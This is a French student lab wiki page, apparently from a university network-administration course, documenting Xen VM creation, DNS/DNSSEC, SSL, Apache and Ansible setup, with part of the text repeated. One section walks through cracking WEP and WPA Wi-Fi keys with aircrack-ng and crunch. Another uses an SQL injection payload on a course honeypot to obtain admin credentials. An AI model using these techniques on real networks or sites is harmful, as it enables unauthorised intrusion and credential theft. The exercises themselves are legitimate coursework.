<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
==Setup SSH==<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On <br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
==Setup Docker==<br />
On installe docker grâce à la commande <br />
$ ansible-galaxy install geerlingguy.docker<br />
<br />
on ajoute alors a polytech.yaml : <br />
- role: geerlingguy.docker<br />
tags: docker<br />
<br />
==Ip table==<br />
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.<br />
On créé un role dédié, nommé firewall.<br />
main.yml de firexall : <br />
---<br />
- name: "Block TCP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "\\{\\{ item \\}\\}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8500"<br />
- "8501"<br />
- "8502"<br />
- "8300"<br />
- "8301"<br />
- "8302"<br />
- name: "Block UDP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "{{ item }}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8301"<br />
- "8302"</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=58002TP sysres IMA5 2021/2022 G112022-01-12T12:30:56Z<p>Cgodet1 : /* Ip table */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
